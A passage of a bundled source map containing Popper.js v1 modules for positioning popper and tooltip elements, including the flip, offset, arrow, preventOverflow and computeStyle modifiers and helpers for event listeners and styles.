&& name === modifierName\n  );\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","import isModifierEnabled from '../utils/isModifierEnabled';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nexport default function destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import setupEventListeners from '../utils/setupEventListeners';\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nexport default function enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(\n      this.reference,\n      this.options,\n      this.state,\n      this.scheduleUpdate\n    );\n  }\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import removeEventListeners from '../utils/removeEventListeners';\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nexport default function disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import setStyles from '../utils/setStyles';\nimport setAttributes from '../utils/setAttributes';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport computeAutoPlacement from '../utils/computeAutoPlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nexport default function applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nexport function applyStyleOnLoad(\n  reference,\n  popper,\n  options,\n  modifierOptions,\n  state\n) {\n  // compute reference element offsets\n  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  const placement = computeAutoPlacement(\n    options.placement,\n    referenceOffsets,\n    popper,\n    reference,\n    options.modifiers.flip.boundariesElement,\n    options.modifiers.flip.padding\n  );\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n","import getSupportedPropertyName from '../utils/getSupportedPropertyName';\nimport find from '../utils/find';\nimport getOffsetParent from '../utils/getOffsetParent';\nimport getBoundingClientRect from '../utils/getBoundingClientRect';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeStyle(data, options) {\n  const { x, y } = options;\n  const { popper } = data.offsets;\n\n  // Remove this legacy support in Popper.js v2\n  const legacyGpuAccelerationOption = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'applyStyle'\n  ).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn(\n      'WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'\n    );\n  }\n  const gpuAcceleration =\n    legacyGpuAccelerationOption !== undefined\n      ? legacyGpuAccelerationOption\n      : options.gpuAcceleration;\n\n  const offsetParent = getOffsetParent(data.instance.popper);\n  const offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  const styles = {\n    position: popper.position,\n  };\n\n  // Avoid blurry text by using full pixel integers.\n  // For pixel-perfect positioning, top/bottom prefers rounded\n  // values, while left/right prefers floored values.\n  const offsets = {\n    left: Math.floor(popper.left),\n    top: Math.round(popper.top),\n    bottom: Math.round(popper.bottom),\n    right: Math.floor(popper.right),\n  };\n\n  const sideA = x === 'bottom' ? 'top' : 'bottom';\n  const sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  const prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  let left, top;\n  if (sideA === 'bottom') {\n    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n    // and not the bottom of the html element\n    if (offsetParent.nodeName === 'HTML') {\n      top = -offsetParent.clientHeight + offsets.bottom;\n    } else {\n      top = -offsetParentRect.height + offsets.bottom;\n    }\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    if (offsetParent.nodeName === 'HTML') {\n      left = -offsetParent.clientWidth + offsets.right;\n    } else {\n      left = -offsetParentRect.width + offsets.right;\n    }\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    const invertTop = sideA === 'bottom' ? -1 : 1;\n    const invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = `${sideA}, ${sideB}`;\n  }\n\n  // Attributes\n  const attributes = {\n    'x-placement': data.placement,\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = { ...attributes, ...data.attributes };\n  data.styles = { ...styles, ...data.styles };\n  data.arrowStyles = { ...data.offsets.arrow, ...data.arrowStyles };\n\n  return data;\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOuterSizes from '../utils/getOuterSizes';\nimport isModifierRequired from '../utils/isModifierRequired';\nimport getStyleComputedProperty from '../utils/getStyleComputedProperty';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  let arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn(\n        'WARNING: `arrow.element` must be child of its popper element!'\n      );\n      return data;\n    }\n  }\n\n  const placement = data.placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  const len = isVertical ? 'height' : 'width';\n  const sideCapitalized = isVertical ? 'Top' : 'Left';\n  const side = sideCapitalized.toLowerCase();\n  const altSide = isVertical ? 'left' : 'top';\n  const opSide = isVertical ? 'bottom' : 'right';\n  const arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjunction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -=\n      popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] +=\n      reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  const css = getStyleComputedProperty(data.instance.popper);\n  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);\n  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);\n  let sideValue =\n    center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {\n    [side]: Math.round(sideValue),\n    [altSide]: '', // make sure to unset any eventual altSide value from the DOM node\n  };\n\n  return data;\n}\n","/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nexport default function getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n","/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-end` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nexport default [\n  'auto-start',\n  'auto',\n  'auto-end',\n  'top-start',\n  'top',\n  'top-end',\n  'right-start',\n  'right',\n  'right-end',\n  'bottom-end',\n  'bottom',\n  'bottom-start',\n  'left-end',\n  'left',\n  'left-start',\n];\n","import placements from '../methods/placements';\n\n// Get rid of `auto` `auto-start` and `auto-end`\nconst validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nexport default function clockwise(placement, counter = false) {\n  const index = validPlacements.indexOf(placement);\n  const arr = validPlacements\n    .slice(index + 1)\n    .concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n","import getOppositePlacement from '../utils/getOppositePlacement';\nimport getOppositeVariation from '../utils/getOppositeVariation';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\nimport getBoundaries from '../utils/getBoundaries';\nimport isModifierEnabled from '../utils/isModifierEnabled';\nimport clockwise from '../utils/clockwise';\n\nconst BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise',\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    options.boundariesElement,\n    data.positionFixed\n  );\n\n  let placement = data.placement.split('-')[0];\n  let placementOpposite = getOppositePlacement(placement);\n  let variation = data.placement.split('-')[1] || '';\n\n  let flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach((step, index) => {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    const popperOffsets = data.offsets.popper;\n    const refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    const floor = Math.floor;\n    const overlapsRef =\n      (placement === 'left' &&\n        floor(popperOffsets.right) > floor(refOffsets.left)) ||\n      (placement === 'right' &&\n        floor(popperOffsets.left) < floor(refOffsets.right)) ||\n      (placement === 'top' &&\n        floor(popperOffsets.bottom) > floor(refOffsets.top)) ||\n      (placement === 'bottom' &&\n        floor(popperOffsets.top) < floor(refOffsets.bottom));\n\n    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    const overflowsBottom =\n      floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    const overflowsBoundaries =\n      (placement === 'left' && overflowsLeft) ||\n      (placement === 'right' && overflowsRight) ||\n      (placement === 'top' && overflowsTop) ||\n      (placement === 'bottom' && overflowsBottom);\n\n    // flip the variation if required\n    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    const flippedVariation =\n      !!options.flipVariations &&\n      ((isVertical && variation === 'start' && overflowsLeft) ||\n        (isVertical && variation === 'end' && overflowsRight) ||\n        (!isVertical && variation === 'start' && overflowsTop) ||\n        (!isVertical && variation === 'end' && overflowsBottom));\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = {\n        ...data.offsets.popper,\n        ...getPopperOffsets(\n          data.instance.popper,\n          data.offsets.reference,\n          data.placement\n        ),\n      };\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function keepTogether(data) {\n  const { popper, reference } = data.offsets;\n  const placement = data.placement.split('-')[0];\n  const floor = Math.floor;\n  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  const side = isVertical ? 'right' : 'bottom';\n  const opSide = isVertical ? 'left' : 'top';\n  const measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] =\n      floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n","import isNumeric from '../utils/isNumeric';\nimport getClientRect from '../utils/getClientRect';\nimport find from '../utils/find';\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nexport function toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  const split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  const value = +split[1];\n  const unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    let element;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    const rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    let size;\n    if (unit === 'vh') {\n      size = Math.max(\n        document.documentElement.clientHeight,\n        window.innerHeight || 0\n      );\n    } else {\n      size = Math.max(\n        document.documentElement.clientWidth,\n        window.innerWidth || 0\n      );\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nexport function parseOffset(\n  offset,\n  popperOffsets,\n  referenceOffsets,\n  basePlacement\n) {\n  const offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  const fragments = offset.split(/(\\+|\\-)/).map(frag => frag.trim());\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  const divider = fragments.indexOf(\n    find(fragments, frag => frag.search(/,|\\s/) !== -1)\n  );\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn(\n      'Offsets separated by white space(s) are deprecated, use a comma (,) instead.'\n    );\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  const splitRegex = /\\s*,\\s*|\\s+/;\n  let ops = divider !== -1\n    ? [\n        fragments\n          .slice(0, divider)\n          .concat([fragments[divider].split(splitRegex)[0]]),\n        [fragments[divider].split(splitRegex)[1]].concat(\n          fragments.slice(divider + 1)\n        ),\n      ]\n    : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map((op, index) => {\n    // Most of the units rely on the orientation of the popper\n    const measurement = (index === 1 ? !useHeight : useHeight)\n      ? 'height'\n      : 'width';\n    let mergeWithPrevious = false;\n    return (\n      op\n        // This aggregates any `+` or `-` sign that aren't considered operators\n        // e.g.: 10 + +5 => [10, +, +5]\n        .reduce((a, b) => {\n          if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n            a[a.length - 1] = b;\n            mergeWithPrevious = true;\n            return a;\n          } else if (mergeWithPrevious) {\n            a[a.length - 1] += b;\n            mergeWithPrevious = false;\n            return a;\n          } else {\n            return a.concat(b);\n          }\n        }, [])\n        // Here we convert the string values into number values (in px)\n        .map(str => toValue(str, measurement, popperOffsets, referenceOffsets))\n    );\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach((op, index) => {\n    op.forEach((frag, index2) => {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nexport default function offset(data, { offset }) {\n  const { placement, offsets: { popper, reference } } = data;\n  const basePlacement = placement.split('-')[0];\n\n  let offsets;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n","import getOffsetParent from '../utils/getOffsetParent';\nimport getBoundaries from '../utils/getBoundaries';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function preventOverflow(data, options) {\n  let boundariesElement =\n    options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  // NOTE: DOM access here\n  // resets the popper's position so that the document size can be calculated excluding\n  // the size of the popper element itself\n  const transformProp = getSupportedPropertyName('transform');\n  const popperStyles = data.instance.popper.style; // assignment to help minification\n  const { top, left, [transformProp]: transform } = popperStyles;\n  popperStyles.top = '';\n  popperStyles.left = '';\n  popperStyles[transformProp] = '';\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    boundariesElement,\n    data.positionFixed\n  );\n\n  // NOTE: DOM access here\n  // restores the original style properties after the offsets have been computed\n  popperStyles.top = top;\n  popperStyles.left = left;\n  popperStyles[transformProp] = transform;\n\n  options.boundaries = boundaries;\n\n  const order = options.priority;\n  let popper = data.offsets.popper;\n\n  const check = {\n    primary(placement) {\n      let value = popper[placement];\n      if (\n        popper[placement] < boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return { [placement]: value };\n    },\n    secondary(placement) {\n      const mainSide = placement === 'right' ? 'left' : 'top';\n      let value = popper[mainSide];\n      if (\n        popper[placement] > boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.min(\n          popper[mainSide],\n          boundaries[placement] -\n            (placement === 'right' ? popper.width : popper.height)\n        );\n      }\n      return { [mainSide]: value };\n    },\n  };\n\n  order.forEach(placement => {\n    const side =\n      ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = { ...popper, ...check[side](placement) };\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function shift(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    const { reference, popper } = data.offsets;\n    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    const side = isVertical ? 'left' : 'top';\n    const measurement = isVertical ? 'width' : 'height';\n\n    const shiftOffsets = {\n      start: { [side]: reference[side] },\n      end: {\n        [side]: reference[side] + reference[measurement] - popper[measurement],\n      },\n    };\n\n    data.offsets.popper = { ...popper, ...shiftOffsets[shiftvariation] };\n  }\n\n  return data;\n}\n","import isModifierRequired from '../utils/isModifierRequired';\nimport find from '../utils/find';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  const refRect = data.offsets.reference;\n  const bound = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'preventOverflow'\n  ).boundaries;\n\n  if (\n    refRect.bottom < bound.top ||\n    refRect.left > bound.right ||\n    refRect.top > bound.bottom ||\n    refRect.right < bound.left\n  ) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) 